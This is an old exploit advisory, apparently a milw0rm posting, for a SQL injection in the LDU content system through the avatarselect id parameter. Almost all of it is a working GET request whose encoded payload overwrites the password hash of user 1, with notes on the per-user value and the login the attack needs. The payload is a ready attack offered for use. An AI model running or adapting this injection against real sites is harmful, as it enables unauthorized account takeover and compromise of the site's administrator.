LDU <= 8.x Remote SQL Injection (avatarselect id) Vulnerability Discovered by: nukedx Contacts: ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: http://www.nukedx.com Original advisory can be found at: http://www.nukedx.com/?viewdoc=51 ---- GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gif[SQL Inject] GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of LDU to 123456 The XVALUE comes with your avatarselect link it's special to everyuser in LDU. For using this vulnerability you must be logged in to LDU... # nukedx.com [2006-11-21] # milw0rm.com [2006-11-21]